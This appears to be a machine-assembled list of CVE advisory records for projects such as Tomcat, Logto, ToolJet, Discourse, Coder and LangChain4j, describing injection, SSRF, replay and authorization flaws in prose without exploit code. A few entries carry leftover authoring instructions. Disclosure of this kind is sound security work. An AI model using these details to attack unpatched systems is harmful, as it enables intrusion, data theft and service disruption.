summary: Always-Incorrect Control Flow Implementation vulnerability in Apache Tomcat meant that special roles and empty authorisation constraints were not included when the effective web.xml was logged. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.0.M1 through 9.0.118, from 8.5.0 through 8.5.100. Other versions that have reached end of support may also be affected. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119 which fixes the issue.

title: Apache Tomcat security vulnerability


product: logto

vendor: logto-io

summary: Logto is the modern, open-source auth infrastructure for SaaS and AI apps. Prior to 1.41.0, Logto's existing TOTP verification accepted a successfully used TOTP code again while the code remained inside the RFC 6238 acceptance window because the verifier used otplib's stateless check with window = 1 and did not persist or compare the accepted TOTP time-step counter. An attacker who has the victim's first factor and captures a live TOTP value can replay that value to satisfy MFA during the same acceptance window. This issue is fixed in version 1.41.0.


description: CVE-2026-55377 is a Logto issue. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover 1.41.0 text.

title: CVE-2026-55377: Logto, No Named Floor

summary: Logto is the modern, open-source auth infrastructure for SaaS and AI apps. Prior to 1.41.0, Logto's Account Center step-up check accepted any active verification record that belonged to the current user and had isVerified === true. A WebAuthn registration verification record for binding a new passkey could be created and verified with only an existing Account API bearer token, then sent in the logto-verification-id header and treated as identityVerified=true by Account Center routes, allowing MFA factor management without proving possession of an existing password, identifier, or MFA factor. This issue is fixed in version 1.41.0.


product: Pillow

vendor: python-pillow

product: pillow

vendor: python

summary: Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

title: Pillow is a Python imaging library


summary: Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.

title: Pillow is a Python imaging library


product: piscina

vendor: piscinajs

summary: piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.


product: datamodel-code-generator

vendor: koxudaxi

summary: datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. Prior to 0.62.0, datamodel-code-generator resolves JSON Schema $ref targets in src/datamodel_code_generator/parser/jsonschema.py through is_url and _get_ref_body without containing file:// or ../ traversal references to the input directory and without honoring --no-allow-remote-refs, allowing arbitrary local file reads. This issue is fixed in version 0.62.0.

title: Koxudaxi Datamodel-Code-Generator security vulnerability


summary: datamodel-code-generator generates Python data models from schema definitions. From 0.59.0 until 0.62.0, XML Schema parsing in src/datamodel_code_generator/parser/xmlschema.py for --input-file-type xmlschema resolves xs:include, xs:import, xs:redefine, and xs:override schemaLocation values outside the input base path, allowing arbitrary local files to be read and reflected into generated models. This issue is fixed in version 0.62.0.


summary: datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. Prior to 0.63.0, datamodel-code-generator validates a URL host once in src/datamodel_code_generator/http.py through get_body, _validate_url_for_fetch, and _get_ips_from_host, but then lets httpx resolve the host again for the connection, allowing DNS rebinding to bypass allow_private_network=False and reach internal services. This issue is fixed in version 0.63.0.


product: nilfs-utils

vendor: nilfs-dev

summary: NILFS utilities through 2.3.0, fixed in commit 26efb5d, nilfs_sb_is_valid() function fails to validate s_log_block_size field in NILFS2 superblock before bit-shift operations. Attackers supplying crafted NILFS2 images trigger undefined behavior through oversized shifts or out-of-memory conditions, crashing tools like nilfs-tune and dumpseg.

title: Nilfs-Dev Nilfs-Utils security vulnerability


product: Secure Access

vendor: Absolute Security

version_type: Client

vendor: absolute

summary: CVE-2026-55398 is a memory management vulnerability in Secure Access clients and servers prior to 14.55. Attackers with intimate knowledge of and total control over the tunnel protocol can create a non-persistent DoS against the server.


version_type: Server

summary: CVE-2026-55399 is a resource exhaustion vulnerability in the Secure Access publisher prior to 14.55. Attackers with valid credentials to the Secure Access tunnel can create a non-persistent DoS against the publisher.


summary: CVE-2026-55400 is an integer underflow in Secure Access servers prior to version 14.57. Attackers with an authenticated session can send specially crafted traffic to a server in a non-default configuration and cause a persistent denial of service.


summary: CVE-2026-55401 is a null dereference vulnerability on the load-balancing sub-system of Secure Access servers prior to 14.57. Attackers can send an unauthenticated packet to a Secure Access server with load balancing enabled, which results in the internal load balancer crashing. After a successful attack, the Secure Access server is still able to accept connections and is still able to issue a failover to connected clients.  https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L


summary: CVE-2026-55402 is an out of bounds read vulnerability in Secure Access servers prior to version 14.57. Attackers with an ‘in the middle’ position can send specially crafted data to a server causing a persistent denial of service.


product: yt-dlp

vendor: yt-dlp

description: CVE-2026-55404 lets yt-dlp --write-link output reach a downstream command. Upgrade yt-dlp to 2026.7.4+. GHSA names no youtube-dl floor.

title: CVE-2026-55404: yt-dlp Write-Link Injection

summary: yt-dlp and youtube-dl are command-line audio/video downloaders. Prior to 2026.7.4, the --write-link, --write-url-link, and --write-desktop-link options can write .url or .desktop shortcut files using attacker-controlled webpage_url or filename metadata without sufficient validation or escaping, allowing malicious file:// URI injection on Windows or newline-based desktop entry key injection on Linux that can execute commands if the generated shortcut is opened. This issue is fixed in version 2026.7.4.


description: CVE-2026-55405 injects SQL via LangChain4j MariaDB and pgvector metadata filters. Upgrade to the GHSA beta floors. Do not invent a non-beta tag.

title: CVE-2026-55405: LangChain4j Metadata SQLi

summary: LangChain4j is a Java library for building LLM-powered applications on the JVM. Prior to 1.2.1-beta8, 1.5.1-beta11, 1.11.8-beta19, and 1.16.3-beta26, the MariaDB and pgvector embedding stores build metadata-filter SQL by string-concatenating filter keys, and in MariaDB string values, directly into the query without adequate escaping. A crafted metadata key in EmbeddingSearchRequest.filter() can break out of its SQL context and inject arbitrary SQL into the statements executed by the stores' search and removeAll(Filter) operations, enabling blind data exfiltration, denial of service via sleep functions, and deletion of arbitrary rows through removeAll(Filter). This issue is fixed in langchain4j-mariadb and langchain4j-pgvector versions 1.2.1-beta8, 1.5.1-beta11, 1.11.8-beta19, and 1.16.3-beta26.


product: buffa

vendor: anthropics

summary: Buffa is a pure-Rust Protocol Buffers implementation with first-class protobuf editions support. Prior to 0.7.0, a soundness bug in the OwnedView<V> type allowed safe Rust code to trigger a use-after-free: the OwnedView::decode constructor transmuted a borrowed slice to &'static [u8], and the Deref implementation exposed the promoted 'static lifetime on borrowed view fields (such as &'static str and &'static [u8]) to callers, so the borrow checker permitted those references to outlive the OwnedView; once the OwnedView was dropped and its backing buffer freed, the references became dangling, enabling memory corruption, information disclosure of freed heap contents, and cross-thread misuse without any unsafe code in the calling application. This issue is fixed in version 0.7.0.


summary: Buffa is a pure-Rust Protocol Buffers implementation with first-class protobuf editions support. Prior to 0.8.0, the decode_unknown_field function in buffa's protobuf decoder allocated heap memory in proportion to untrusted input (unknown fields in the serialized protobuf) without enforcing an allocation budget, affecting any message decoded from untrusted input using code generated with preserve_unknown_fields=true (the default); a small, well-formed payload of nested unknown fields inside a StartGroup could trigger roughly 22x memory amplification (for example a 64 MiB input forcing about 1.4 GB of heap allocation), and length-delimited unknown fields could be sized arbitrarily, so an unauthenticated attacker could crash a process through memory exhaustion because the top-level message size cap did not account for in-decode amplification. This issue is fixed in version 0.8.0.


product: koodo-reader

vendor: koodo-reader

summary: Koodo Reader is an ebook reader. In version 2.3.0 and earlier, Koodo Reader is vulnerable to remote code execution through malicious EPUB files because the open-book IPC handler enables nodeIntegrationInSubFrames and EPUB chapter content is rendered with unsanitized innerHTML. An attacker can craft an EPUB book that, when imported and opened by the victim, instantiates a hidden iframe with Node.js API access and executes arbitrary operating system commands with the victim user's privileges. This issue is fixed in version 2.3.1.

title: Koodo Reader is an ebook reader


product: filament

vendor: filamentphp

summary: Filament is a collection of full-stack components for accelerated Laravel development. From 3.0.0 until 3.3.53, a disabled RichEditor field rendered its raw state without sanitizing HTML. Where the data stored in this field's state isn't sanitized already when the form state was filled, an attacker could plant malicious HTML or JavaScript and achieve XSS that executes for users who view the form. This vulnerability is fixed in 3.3.53.


product: nocobase

vendor: nocobase

summary: NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.1.19, NocoBase @nocobase/plugin-backups restored PostgreSQL backups by interpolating the database.schema value from _metadata.json into shell command strings executed with Node.js child_process.exec(), allowing a backup-management user restoring a crafted backup to execute commands as the NocoBase server process. This vulnerability is fixed in 2.1.19.


product: ToolJet

vendor: ToolJet

summary: ToolJet is the open-source foundation am AI-native platform for building and deploying internal tools, workflows and AI agents. Prior to 3.20.1780-lts, the authenticated endpoint POST /api/data-sources/decrypt returns the decrypted plaintext for any credential whose credential_id is supplied in the request body. Unlike every neighbouring data-source route, this handler is not protected by ValidateDataSourceGuard, does not receive the calling @User(), and the underlying CredentialsService.getValue() looks the credential up by id only, with no organization scoping. As a result, any authenticated user of any organization can decrypt the data-source secrets of any other organization by supplying that organization's credential_id — a cross-tenant confidentiality breach. This vulnerability is fixed in 3.20.1780-lts.


summary: ToolJet is the open-source foundation am AI-native platform for building and deploying internal tools, workflows and AI agents. Prior to 3.20.178-lts, there's an SSRF in the RestAPI data source component. The RestAPI data source executes HTTP requests server-side, and its private IP filter only checks the hostname string — not the resolved IP. DNS names like 169.254.169.254.nip.io resolve to the Azure IMDS link-local address and bypass the filter entirely. This allows any authenticated user (free tier) to steal Azure managed identity tokens for the AKS production cluster. This vulnerability is fixed in 3.20.178-lts.


summary: ToolJet is the open-source foundation am AI-native platform for building and deploying internal tools, workflows and AI agents. Prior to 3.20.178-lts, any authenticated user with builder role (free tier) can overwrite a globally-shared marketplace plugin with arbitrary JavaScript that executes server-side with full Node.js access (require, process). The malicious code runs whenever any user on the instance triggers a query using that plugin — achieving both RCE and supply-chain compromise of the entire ToolJet deployment. This vulnerability is fixed in 3.20.178-lts.


summary: datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. From 0.11.6 until 0.64.0, datamodel-code-generator allows attacker-controlled x-python-import or customTypePath schema extensions to reach src/datamodel_code_generator/parser/jsonschema.py and generated import handling through Import.from_full_path and Imports.create_line in src/datamodel_code_generator/imports.py, allowing a newline to break out of an import statement and execute Python code when the generated model is imported. This issue is fixed in version 0.64.0.


product: chevereto

vendor: chevereto

product: chevereto/chevereto

product: rodber/chevereto-free

summary: Chevereto is a self-hosted media-sharing platform. Starting in version 3.7.5 and prior to version 4.5.4, when a user enables the private profile option, visiting their profile HTML route (`/username`) correctly returns 404. However, the `/json` AJAX listing endpoint does not apply the same check. An unauthenticated caller who knows the target's user ID can retrieve all of that user's publicly-scoped images, revealing the username (which should be private). This is patched in Chevereto v4.5.4. No known workarounds are available.


product: FastGPT

vendor: labring

description: CVE-2026-55418 is FastGPT no GitHub advisory floor. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover version text.

title: CVE-2026-55418: FastGPT, No Named Floor

summary: FastGPT is an open source AI knowledge base platform. Prior to v4.15.0-beta5, two FastGPT file handlers authorize an unrelated resource and then sign or read an S3 object using a key taken directly from the request, without checking that the key belongs to the caller's team. Because S3 object keys are global within the bucket and carry the tenant id only as a path segment, an attacker can supply another team's key and obtain its file contents through the chat-file presign endpoint or dataset preview endpoint. This issue is fixed in version v4.15.0-beta5.


product: discourse

vendor: discourse

description: CVE-2026-55420 is a Discourse issue. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover 2026.5.1 text.

title: CVE-2026-55420: Discourse, No Named Floor

summary: Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, under certain non-default configurations, processing of PDF uploads could be exploited to obtain RCE on the server. This issue is patched in 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.


product: langflow

vendor: langflow-ai

vendor: langflow

summary: Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.7.0, the logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in. This vulnerability is fixed in 1.7.0.


description: CVE-2026-55424 is a Discourse issue. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover 2026.1.5 text.

title: CVE-2026-55424: Discourse, No Named Floor

summary: Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, a topic "featured link" was not sufficiently normalized and escaped before being rendered in the topic list, allowing a user who can set a featured link to inject JavaScript when default Content Security Policy protections were modified or disabled. This issue is fixed in versions 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.


product: monitoring-plugins

vendor: Linuxfabrik

product: lib

summary: linuxfabrik-lib provides Python modules for database access, caching, shell execution, and API integrations, and Linuxfabrik Monitoring Plugins uses those modules to run external monitoring commands. From the earliest affected releases until linuxfabrik-lib 5.0.0 and Linuxfabrik Monitoring Plugins 6.0.0, check plugins embedded user-controlled values in command strings passed to lib.shell.shell_exec(), which split strings at pipe characters and executed the resulting commands. In check-plugins/restic-check/restic-check, the --repo parameter could inject a pipe-delimited command into a constructed restic invocation, and sudo-authorized execution allowed a compromised nagios or icinga account to run that command as root. The shared library also accepted command strings and a shell parameter, while numerous plugins constructed external commands from attacker-influenced arguments. The fixes require argv lists, always use shell=False, remove pipe splitting, and reject option-like positional values through lib.shell.safe_cli_value(). These issues are fixed in linuxfabrik-lib 5.0.0 and Linuxfabrik Monitoring Plugins 6.0.0.

title: Linuxfabrik Monitoring-Plugins security vulnerability


product: coder

vendor: coder

summary: Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder config-ssh` wrote server-supplied SSH settings (`HostnameSuffix`, `SSHConfigOptions`) into the user's `~/.ssh/config` without sanitizing embedded newlines or restricting directives so a malicious or compromised Coder server could inject arbitrary SSH configuration. Practical exploitation requires control of the server-supplied values through a malicious or compromised deployment, a man-in-the-middle position or admin access to the `HostnameSuffix` and `SSHConfigOptions` settings. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 validates `HostnameSuffix` and `SSHConfigOptions` against a strict character set that rejects newlines and other control characters. As a workaround, inspect `coder config-ssh --dry-run` output before applying changes.


summary: Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, the tailnet coordinator validates that an agent's `Addresses` derive from its authenticated UUID but applies no equivalent check to `AllowedIPs`. The coordinator forwards agent-supplied `AllowedIPs` verbatim to tunnel peers which install them into the WireGuard peer configuration. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 validates each `AllowedIPs` prefix against the authenticating agent's UUID just like `Addresses`. As a workaround, monitor coordinator logs for agents advertising unexpected `AllowedIPs` prefixes.